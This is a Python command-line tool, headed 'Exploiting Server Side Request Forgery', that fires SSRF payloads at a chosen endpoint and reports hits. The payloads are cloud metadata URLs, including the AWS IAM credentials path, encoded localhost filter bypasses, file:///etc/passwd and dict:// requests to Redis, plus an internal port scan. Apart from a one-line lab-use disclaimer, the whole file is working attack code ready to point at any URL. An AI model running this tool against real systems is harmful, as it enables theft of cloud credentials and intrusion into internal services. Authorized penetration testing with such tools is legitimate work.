Exploiting Server Side Request Forgery

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#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SSRF vulnerability detection agent with cloud metadata and filter bypass testing."""

import argparse
import json
import logging
import sys
from typing import List

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

CLOUD_METADATA = {
    "aws_imdsv1": "http://169.254.169.254/latest/meta-data/",
    "aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "gcp": "http://metadata.google.internal/computeMetadata/v1/",
    "azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
    "digitalocean": "http://169.254.169.254/metadata/v1/",
}

LOCALHOST_BYPASSES = [
    "http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/",
    "http://2130706433/", "http://127.1/", "http://0/",
    "http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/",
]

PROTOCOL_PAYLOADS = [
    "file:///etc/passwd", "file:///c:/windows/win.ini",
    "dict://127.0.0.1:6379/info",
]


def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str,
                        method: str = "POST", auth_header: str = "") -> dict:
    """Send an SSRF payload to a target endpoint and analyze the response."""
    headers = {"Content-Type": "application/json"}
    if auth_header:
        headers["Authorization"] = auth_header

    data = {param_name: payload_url}
    try:
        if method.upper() == "POST":
            resp = requests.post(target_url, json=data, headers=headers,
                                 timeout=10, verify=False)
        else:
            resp = requests.get(target_url, params=data, headers=headers,
                                timeout=10, verify=False)
        return {
            "payload": payload_url,
            "status_code": resp.status_code,
            "content_length": len(resp.content),
            "response_preview": resp.text[:200],
            "success_indicators": _check_success(resp.text, payload_url),
        }
    except requests.RequestException as exc:
        return {"payload": payload_url, "error": str(exc)}


def _check_success(response_text: str, payload: str) -> List[str]:
    """Check response for indicators of successful SSRF."""
    indicators = []
    checks = {
        "aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"],
        "gcp_metadata": ["computeMetadata", "project-id", "service-accounts"],
        "azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"],
        "local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"],
        "internal_service": ["redis_version", "elasticsearch", "Jenkins"],
    }
    for name, keywords in checks.items():
        if any(kw.lower() in response_text.lower() for kw in keywords):
            indicators.append(name)
    return indicators


def test_cloud_metadata(target_url: str, param_name: str,
                         auth_header: str = "") -> List[dict]:
    """Test SSRF against all cloud metadata endpoints."""
    results = []
    for provider, meta_url in CLOUD_METADATA.items():
        result = test_ssrf_endpoint(target_url, param_name, meta_url,
                                     auth_header=auth_header)
        result["cloud_provider"] = provider
        results.append(result)
        if result.get("success_indicators"):
            logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"])
    return results


def test_localhost_bypasses(target_url: str, param_name: str,
                             auth_header: str = "") -> List[dict]:
    """Test localhost SSRF filter bypasses."""
    results = []
    for bypass in LOCALHOST_BYPASSES:
        result = test_ssrf_endpoint(target_url, param_name, bypass,
                                     auth_header=auth_header)
        result["bypass_type"] = "localhost_encoding"
        results.append(result)
    return results


def test_protocol_schemes(target_url: str, param_name: str,
                           auth_header: str = "") -> List[dict]:
    """Test non-HTTP protocol schemes (file://, dict://, gopher://)."""
    results = []
    for payload in PROTOCOL_PAYLOADS:
        result = test_ssrf_endpoint(target_url, param_name, payload,
                                     auth_header=auth_header)
        result["protocol"] = payload.split(":")[0]
        results.append(result)
    return results


def scan_internal_ports(target_url: str, param_name: str, internal_ip: str,
                         ports: List[int], auth_header: str = "") -> List[dict]:
    """Scan internal ports via SSRF to discover services."""
    results = []
    for port in ports:
        payload = f"http://{internal_ip}:{port}/"
        result = test_ssrf_endpoint(target_url, param_name, payload,
                                     auth_header=auth_header)
        result["internal_ip"] = internal_ip
        result["port"] = port
        is_open = (result.get("status_code") == 200 and
                   result.get("content_length", 0) > 0 and
                   not result.get("error"))
        result["port_likely_open"] = is_open
        results.append(result)
    return results


def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict:
    """Run complete SSRF assessment."""
    cloud = test_cloud_metadata(target_url, param_name, auth_header)
    bypasses = test_localhost_bypasses(target_url, param_name, auth_header)
    protocols = test_protocol_schemes(target_url, param_name, auth_header)
    ports = scan_internal_ports(target_url, param_name, "127.0.0.1",
                                 [22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header)

    findings = []
    cloud_hits = [c for c in cloud if c.get("success_indicators")]
    if cloud_hits:
        findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints")
    bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50]
    if bypass_hits:
        findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful")
    protocol_hits = [p for p in protocols if p.get("success_indicators")]
    if protocol_hits:
        findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})")

    return {
        "target": target_url,
        "parameter": param_name,
        "cloud_metadata_tests": cloud,
        "localhost_bypasses": bypasses,
        "protocol_tests": protocols,
        "internal_port_scan": ports,
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent")
    parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint")
    parser.add_argument("--param", default="url", help="Parameter name accepting URLs")
    parser.add_argument("--auth", default="", help="Authorization header value")
    parser.add_argument("--output", default="ssrf_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url, args.param, args.auth)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()